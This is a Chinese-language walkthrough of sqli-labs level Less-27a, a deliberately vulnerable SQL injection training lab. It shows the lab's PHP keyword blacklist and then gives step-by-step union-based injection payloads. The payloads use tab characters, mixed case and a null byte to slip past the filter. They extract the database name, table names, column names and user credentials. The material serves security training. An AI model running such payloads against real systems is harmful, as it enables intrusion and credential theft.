sqli-labs-Less-27a

SQLI-LAPS 实验记录

Less-27a

这一关与上一关类似,但闭合方式不同,变为了",那么过关方式就可以%09制表符应对空格,以大小写绕过的方式应对'union','select'字符过滤。

php 复制代码
function blacklist($id)
{
$id= preg_replace('/[\/\*]/',"", $id);		//strip out /*
$id= preg_replace('/[--]/',"", $id);		//Strip out --.
$id= preg_replace('/[#]/',"", $id);			//Strip out #.
$id= preg_replace('/[ +]/',"", $id);	    //Strip out spaces.
$id= preg_replace('/select/m',"", $id);	    //Strip out spaces.
$id= preg_replace('/[ +]/',"", $id);	    //Strip out spaces.
$id= preg_replace('/union/s',"", $id);	    //Strip out union
$id= preg_replace('/select/s',"", $id);	    //Strip out select
$id= preg_replace('/UNION/s',"", $id);	    //Strip out UNION
$id= preg_replace('/SELECT/s',"", $id);	    //Strip out SELECT
$id= preg_replace('/Union/s',"", $id);	    //Strip out Union
$id= preg_replace('/Select/s',"", $id);	    //Strip out Select
return $id;
}
php 复制代码
$sql="SELECT * FROM users WHERE id=$id LIMIT 0,1";

根据之前我们的注入经验,并结合源码中的sql查询语句,按照提示信息,这次我们使用联合注入的方式,输入Payload如下:

php 复制代码
0" %09uniOn%09selEct%091,2,3;%00

结果如图所示,可以看到页面成功返回数值,那么我们就可以在相应的位置上进行注入。

这里要特别注意,最前面的id值设置为0,而不能设置为1或者-1,否则会影响到回显数值。


后续查找数据库库名、表名、列名及其他数据的Payload分别如下:

  • 查找数据库名:

    php 复制代码
    0" %09uniOn%09selEct%091,(database()),3;%00
  • 查找表名:

    php 复制代码
    0" %09uniOn%09selEct%091,(selEct%09group_concat(table_name)%09from%09information_schema.tables%09where%09table_schema='security'),3;%00
  • 查找列名:

    php 复制代码
    0" %09uniOn%09selEct%091,(selEct%09group_concat(column_name)%09from%09information_schema.columns%09where%09table_schema='security'%09and%09table_name='users'),3;%00

    查找其他数据:

    php 复制代码
    0" %09uniOn%09selEct%091,(selEct%09concat(username,':',password)%09from%09security.users%09where%09(id=1)),3;%00

    这里如果想要查询其他的用户名与密码,可以修改where语句当中的id值,即id=2,3,4......

相关推荐
灯澜忆梦1 天前
【MySQL7】多表查询
数据库·sql
Qlittleboy1 天前
tp5网站链接不上slqserver,计算机积极拒绝了链接
数据库·sql
行业研究员1 天前
腾讯云数据库:团队知识统一检索实践
数据库·云计算·腾讯云·腾讯云数据库·团队知识
朱容zr3331331 天前
什么是覆盖索引?它的优点是什么?
数据库
一十九的酒1 天前
Oracle Data Guard 备库归档日志满导致同步中断的解决实战
数据库·oracle·oracle-dg 续传·归档空间满
changjiahong1 天前
lvs总结
服务器·数据库·lvs
【心态好不摆烂】1 天前
MySQL——复合查询
数据库·mysql
AC赳赳老秦1 天前
CSDN 技术社区数据采集:OpenClaw 抓取公开技术热帖,生成领域技术热点周报
java·大数据·前端·数据库·python·php·openclaw
笨鸟先飞,勤能补拙1 天前
下一个十年:网络安全正在被重写
网络·人工智能·安全·web安全·网络安全·github
瞬间&永恒~1 天前
【MySQL】 InnoDB 锁等待排查与并发压测实验
运维·数据库·mysql